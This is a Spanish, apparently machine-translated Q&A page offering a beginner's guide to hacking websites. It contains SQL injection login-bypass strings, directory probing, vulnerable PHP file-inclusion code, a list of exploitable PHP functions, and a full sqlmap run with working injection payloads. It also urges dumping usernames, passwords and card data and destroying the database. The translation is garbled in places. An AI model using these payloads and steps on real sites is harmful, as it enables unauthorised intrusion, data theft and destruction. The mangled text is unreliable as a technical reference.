¿Cómo exactamente hackea un sitio web / base de datos? ¿Es solo una cuestión de robar la contraseña de un administrador?

Hasta antaño, se requería un nerds Genius para hackear un sitio web, pero en estos días se ha convertido en un juego de niños. Al igual que las búsquedas convencionales, puede buscar en Google las herramientas necesarias para planificar un ataque en un sitio web y, con un poco de esfuerzo, puede ejecutar lo mismo con facilidad.

A continuación hay una guía rápida para hackear un sitio web.

  • Reconocimiento

La razón principal por la que la mayoría de los hackers novatos no logran un pirateo exitoso es porque no quieren esperar , la mayoría de las veces quieren un botón mágico donde puedan hacer clic y eso es todo, pero en realidad no funciona así, lo primero que tienes que hacer es un buen reconocimiento sobre tu objetivo.

Lo que realmente quiero decir es reunir mucha información sobre su objetivo, información como el sistema operativo utilizado, los servicios prestados, abrir puertos en el servidor, verificar si el sitio es vulnerable a SQL, buscar secuencias de comandos que tengan en cuenta las entradas del usuario, buscar listado del directorio, verifique el código fuente, descubra cómo reacciona el sitio web ante entradas anormales,

Puede usar herramientas como Nmap, Nikito y Burp Suite.

Pocos inyectores sql que puede usar

ADMIN ‘OR 1 = 1 # cuando es una URL de administrador como sitio web / admin / loign.php? Id = 1

cuando es un inicio de sesión normal, simplemente pruebe los inyectores sql tradicionales como ‘(solo cambie el valor de id)

O ‘1’ = ‘1’ – ‘

‘1’ = ‘1’

‘1’ = ‘1’ / *

  • Lista de directorios

La exploración de índices puede ser muy útil cuando intenta encontrar archivos que normalmente no debería ver, como archivos de contraseña, archivos utilizados para administrar la página web, archivos de registro, cualquier archivo donde se almacena la información.

También puede comprobar manualmente las URL sospechosas como esa:

http://website.com/logs/

http://website.com/files/

http://website.com/sql/

http://website.com/secret/

puedes crear herramientas que lo hagan automáticamente por ti, herramientas como dirbsuter pueden ser muy útiles para esta tarea.

  • Inyección SQL

La inyección SQL es una técnica de inyección de código, utilizada para atacar aplicaciones basadas en datos, en la que se insertan sentencias SQL maliciosas en un campo de entrada para su ejecución, por lo que sé, este es el problema más popular que encontrará en los sitios web, el problema es que algunos sitios web ponen esa información en una base de datos y no todos la filtran.

Por lo tanto, cuando repita la respuesta, se mostrará el mensaje de JavaScript. Si solo se registran, la última parte debería causar un error de sql que podría darnos mucha información útil.

Puedes probar lo siguiente

Si el sitio web es similar a este http://website.com/users.php?id=1, agregue el a (‘) después de 1.

http://website.com/users.php?id=1 ‘si arroja un error de bingo, estás ahí.

  • Inclusión remota de archivos

La vulnerabilidad de inclusión de archivos es un tipo de vulnerabilidad que se encuentra con mayor frecuencia en los sitios web. Permite que un atacante incluya un archivo, generalmente a través de un script en el servidor web. La vulnerabilidad se produce debido al uso de entradas proporcionadas por el usuario sin la validación adecuada.

A continuación tenemos un fragmento de código php que abre un archivo.

<?php

if (!($hfile = fopen("$file", "r"))

echo("error cant open the file: $file
\n");

?>

Este ejemplo abre el archivo con el nombre especificado en la entrada del usuario ($ archivo).

Eso significa que abre todos los archivos que un atacante quiere abrir y si allowurlfopen está activado, incluso los archivos remotos. Mire, por ejemplo, este fragmento de código: Ejemplo:

<?php

include($dir . "/members.php");

?>

Simplemente cree un archivo .members.php en su servidor web y llame al script de esta manera: dir = Próximamente en un navegador cerca de usted

Ejecutará su archivo en el servidor de destino. Lo importante es que tienes PHP desactivado o el código se ejecutará en tu servidor.

  • Falsificaciones de solicitud entre sitios (CSRF) e inyección de comandos

Funciones PHP explotables que puedes usar

Ejecución de código:

require () – lee un archivo e interpreta el contenido como código PHP

include (): lee un archivo e interpreta el contenido como código PHP

eval () – interpreta una cadena como código PHP

Ejecución de comando:

exec () – ejecuta el comando + devuelve la última línea de su salida

passthru () – ejecuta el comando + devuelve su salida al navegador remoto

Divulgación de archivos:

fopen () – abre un archivo y lo asocia con un descriptor de archivo PHP

readfile (): lee un archivo y escribe su contenido directamente en el navegador remoto

file (): lee un archivo completo en una matriz

filegetcontents (): lee el archivo en una cadena

Como puede ver, hay muchas maneras de obtener acceso a un sitio web, elija el suyo.

Para un principiante, recomendaría usar la inyección sql, es muy fácil y efectivo.

Feliz piratería

En su forma más simple, si el sitio web tiene un formulario en el que puede inyectar consultas SQL, puede usar herramientas como SQLMAP (inyección automática de SQL y herramienta de adquisición de bases de datos) para robar la base de datos. Otras formas serían obtener acceso de shell al servidor y luego usar el tipo de cosas mysqldump para volcar el db y transferirlo.

Espero que este artículo te ayude a comprender el lado práctico del pirateo ético 😀

  [10:34:14] [INFO] el DBMS de fondo es MySQL
 sistema operativo del servidor web: Linux Ubuntu
 tecnología de aplicaciones web: Apache 2.4.7, PHP 5.5.9
 DBMS de fondo: MySQL> = 5.0
 [10:34:14] [INFO] obtuvo datos registrados en archivos de texto en 

“Supongo que ya está familiarizado con los métodos php GET n POST y las consultas básicas de SQL”

piratear no significa simplemente robar algunas contraseñas, y también la contraseña de alguien no lo ayudará a acceder a la base de datos completa de un sitio web

Hay muchos métodos para hackear. tales como sql-injunction, fuerza bruta n más bla bla bla.

Supongamos que si está utilizando inyección SQL para eliminar un sitio web, lo que hacemos es navegar a través del sitio web para obtener un punto (digamos un punto débil) donde podemos usar nuestras herramientas de inyección SQL para recuperar su base de datos.

http://www.webscantest.com/datas

Este es un punto vulnerable en el sitio web ‘webscantest’. (aplicación web gratuita para novatos en hackers)

si solo modificas la url como

‘http://www.webscantest.com/datas… or 1 ′

recuperará todos los datos asociados con la página (es solo una prueba de vulnerabilidad)

Una vez que encontramos el punto vulnerable, podemos usar algunas herramientas como sqlmap para inyectar algunos comandos sql en el punto. y puede recuperar automáticamente los detalles sobre la base de datos

por ejemplo, comando: sqlmap -u http://www.webscantest.com/datas

salida

  __H__
  ___ ___ ["] _____ ___ ___ {1.1.12 # estable}
 | _ - |  .  [.] |  . '|  .  El |
 | ___ | _ [.] _ | _ | _ | __, |  _ |
       | _ | V | _ |  http://sqlmap.org

 [!] descargo de responsabilidad legal: el uso de sqlmap para atacar objetivos sin previo consentimiento mutuo es ilegal.  Es responsabilidad del usuario final obedecer todas las leyes locales, estatales y federales aplicables.  Los desarrolladores no asumen ninguna responsabilidad y no son responsables del mal uso o daño causado por este programa.

 [*] a partir de las 10:32:07

 [10:32:07] [ADVERTENCIA] no se puede crear el directorio de salida '/srv/http/.sqlmap/output' ([Errno 13] Permiso denegado: '/srv/http/.sqlmap').  Usando el directorio temporal '/ tmp / sqlmapcWXraU4909 / sqlmapoutputudxwL9' en su lugar
 [10:32:07] [INFO] probando la conexión a la URL de destino
 [10:32:10] [INFO] heurística detectó el conjunto de caracteres de la página web 'ascii'
 [10:32:10] [INFO] comprobando si el objetivo está protegido por algún tipo de WAF / IPS / IDS
 [10:32:12] [INFO] prueba si el contenido de la URL de destino es estable
 [10:32:15] [INFO] el contenido de la URL de destino es estable
 [10:32:15] [INFO] prueba si el parámetro GET 'id' es dinámico
 [10:32:17] [INFO] confirmando que el parámetro GET 'id' es dinámico
 [10:32:20] [INFO] El parámetro GET 'id' es dinámico
 [10:32:22] [INFO] prueba heurística (básica) muestra que el parámetro 'id' de GET podría ser inyectable (posible DBMS: 'MySQL')
 [10:32:25] [INFO] prueba de inyección SQL en el parámetro GET 'id'

 parece que el DBMS de fondo es 'MySQL'.  ¿Desea omitir cargas de prueba específicas para otros DBMS?  [S / n] S

 para las pruebas restantes, ¿desea incluir todas las pruebas para 'MySQL' extendiendo los valores proporcionados de nivel (1) y de riesgo (1)?  [S / n] S
 [10:32:25] [INFORMACIÓN] prueba 'Y la cláusula ciega booleana - DONDE O TENIENDO'
 [10:32:27] [ADVERTENCIA] valores reflexivos encontrados y filtrados
 [10:32:37] [INFO] El parámetro GET 'id' parece ser 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string = "Name")
 [10:32:37] [INFO] probando 'MySQL> = 5.5 Y basado en errores: cláusula WHERE, HAVING, ORDER BY o GROUP BY (BIGINT UNSIGNED)'
 [10:32:39] [INFO] probando 'MySQL> = 5.5 O basado en error - WHERE o HAVING cláusula (BIGINT NO FIRMADO)'
 [10:32:41] [INFO] probando 'MySQL> = 5.5 Y basado en errores: cláusula WHERE, HAVING, ORDER BY o GROUP BY (EXP)'
 [10:32:44] [INFO] probando 'MySQL> = 5.5 O basado en error: cláusula WHERE o HAVING (EXP)'
 [10:32:46] [INFO] probando 'MySQL> = 5.7.8 Y basado en errores: cláusula WHERE, HAVING, ORDER BY o GROUP BY (JSON_KEYS)'
 [10:32:48] [INFO] probando 'MySQL> = 5.7.8 O basado en error: cláusula WHERE o HAVING (JSON_KEYS)'
 [10:32:51] [INFO] probando 'MySQL> = 5.0 Y basado en errores: cláusula WHERE, HAVING, ORDER BY o GROUP BY (FLOOR)'
 [10:32:53] [INFO] El parámetro GET 'id' es 'MySQL> = 5.0 Y basado en errores: inyectable WHERE, HAVING, ORDER BY o GROUP BY (FLOOR)' 
 [10:32:53] [INFO] probando 'consultas en línea MySQL'
 [10:32:55] [INFO] probando 'MySQL> 5.0.11 consultas apiladas (comentario)'
 [10:32:55] [ADVERTENCIA] la comparación basada en el tiempo requiere un modelo estadístico más grande, espere ............. (hecho)
 [10:33:25] [INFO] probando 'MySQL> 5.0.11 consultas apiladas'
 [10:33:27] [INFO] probando 'MySQL> 5.0.11 consultas apiladas (consulta SLEEP - comentario)'
 [10:33:29] [INFO] probando 'MySQL> 5.0.11 consultas apiladas (consulta SLEEP)'
 [10:33:31] [INFO] probando 'MySQL <5.0.12 consultas apiladas (consulta pesada - comentario)'
 [10:33:34] [INFO] probando 'MySQL <5.0.12 consultas apiladas (consulta pesada)'
 [10:33:36] [INFO] probando 'MySQL> = 5.0.12 Y ciego basado en el tiempo'
 [10:33:52] [INFO] El parámetro GET 'id' parece ser 'MySQL> = 5.0.12 Y inyectable a ciegas basado en el tiempo' 
 [10:33:52] [INFO] probando 'Consulta genérica UNION (NULL) - 1 a 20 columnas'
 [10:33:52] [INFO] extiende automáticamente los rangos para las pruebas de técnica de inyección de consulta UNION ya que se encuentra al menos otra técnica (potencial)
 [10:33:57] [INFO] La técnica 'ORDER BY' parece ser utilizable.  Esto debería reducir el tiempo necesario para encontrar el número correcto de columnas de consulta.  Ampliar automáticamente el rango para la prueba actual de técnica de inyección de consultas UNION
 [10:34:07] [INFO] URL de destino parece tener 4 columnas en la consulta
 [10:34:11] [INFORMACIÓN] El parámetro GET 'id' es 'Consulta UNION genérica (NULL) - inyectable de 1 a 20 columnas'
 [10:34:14] [ADVERTENCIA] parcheando automáticamente la salida con el último carácter recortado

 El parámetro GET 'id' es vulnerable.  ¿Quieres seguir probando a los demás (si los hay)?  [y / N] N
 sqlmap identificó los siguientes puntos de inyección con un total de 44 solicitudes HTTP:
 ---
 Parámetro: id (GET)
     Tipo: persiana booleana
     Título: AND ciego a base de booleanos: cláusula WHERE o HAVING
     Carga útil: id = 3 Y 7631 = 7631

     Tipo: basado en errores
     Título: MySQL> = 5.0 Y basado en errores: cláusula WHERE, HAVING, ORDER BY o GROUP BY (FLOOR)
     Carga útil: id = 3 AND (SELECT 6255 FROM (SELECT COUNT (*), CONCAT (0x7162707071, (SELECT (ELT (6255 = 6255,1))), 0x7176786a71, FLOOR (RAND (0) * 2)) x FROM INFORMATION_SCHEMA .PLUGINS GROUP BY x) a)

     Tipo: ciego basado en el tiempo AND / OR
     Título: MySQL> = 5.0.12 Y ciego basado en el tiempo
     Carga útil: id = 3 Y SUEÑO (5)

     Tipo: consulta UNION
     Título: consulta UNION genérica (NULL) - 4 columnas
     Carga útil: id = 3 UNION ALL SELECT CONCAT (0x7162707071,0x4c4d6c476e73565147774255617a6d796771556243624270714a766e51567173794249544570684d, 0x7176786a71), NULL, NULL, NULL-- fWW
 ---
 [10:34:14] [INFO] el DBMS de fondo es MySQL
 sistema operativo del servidor web: Linux Ubuntu
 tecnología de aplicaciones web: Apache 2.4.7, PHP 5.5.9
 DBMS de fondo: MySQL> = 5.0
 [10:34:14] [INFO] obtuvo datos registrados en archivos de texto en '/tmp/sqlmapcWXraU4909/sqlmapoutputudxwL9/www.webscantest.com'

 [*] cerrando a las 10:34:14
 ---

parte requerida:

  [10:34:14] [INFO] el DBMS de fondo es MySQL
 sistema operativo del servidor web: Linux Ubuntu
 tecnología de aplicaciones web: Apache 2.4.7, PHP 5.5.9
 DBMS de fondo: MySQL> = 5.0
 [10:34:14] [INFO] obtuvo datos registrados en archivos de texto en 

Esta parte le proporciona los detalles sobre la versión db, la versión php y el sistema operativo del servidor.

al recuperar más, obtendrá las tablas n datos. (incluida la contraseña del nombre de usuario o los detalles de la tarjeta de crédito) (intente “sqlmap -u http://www.webscantest.com/datas … —dbs —columns”)

Al utilizar este método, incluso puede eliminar completamente destruir la base de datos. que obviamente está derribando a su dueño: p

“Solo he explicado la parte básica para un principiante. Espero que sigas investigando ”

More Interesting

¿Es necesario aprender programación para convertirse en un hacker de sombrero blanco? ¿Debo tener un excelente dominio sobre mis habilidades de codificación?

He estado leyendo mucho alboroto sobre Java y sus serias fallas de seguridad ... ¿Qué tan preciso es y debo desactivar Java según lo aconsejado por múltiples fuentes?

¿Cómo puedo ver el tráfico de red generado por una aplicación de iPhone?

¿Hay alguna institución que ofrezca piratería ética como curso?

¿Pink Floyd hizo que The Dark Side of the Moon fuera especialmente fluido con escenas de The Wizard of Oz?

Si está preguntando cómo hackear una cuenta de FB, ¿cuál es su objetivo final al hackear el perfil personal de alguien?

Quiero convertirme en un buen hacker. No el tipo que se muestra en las películas, sino el tipo que realmente puede hacer una auditoría del sistema. ¿Cuáles son algunos consejos?

¿Se está volviendo más difícil encontrar vulnerabilidades en sistemas operativos populares?

Piratería informática (seguridad): ¿Cómo funcionan realmente las secuencias de comandos de sitios cruzados (XSS) y la inyección SQL?

¿Cuáles son las mejores herramientas de piratería de seguridad de código abierto?

¿Cómo protegería mi PC de los hackers?

¿Qué métodos se utilizan para contrarrestar un ataque de contraseña de fuerza bruta?

¿Qué tan seguros son los teclados virtuales basados ​​en la web?

¿Cómo puedo explicar la inyección SQL a mi abuela?

¿Cómo puedes saber si alguien ha hackeado tu iPhone?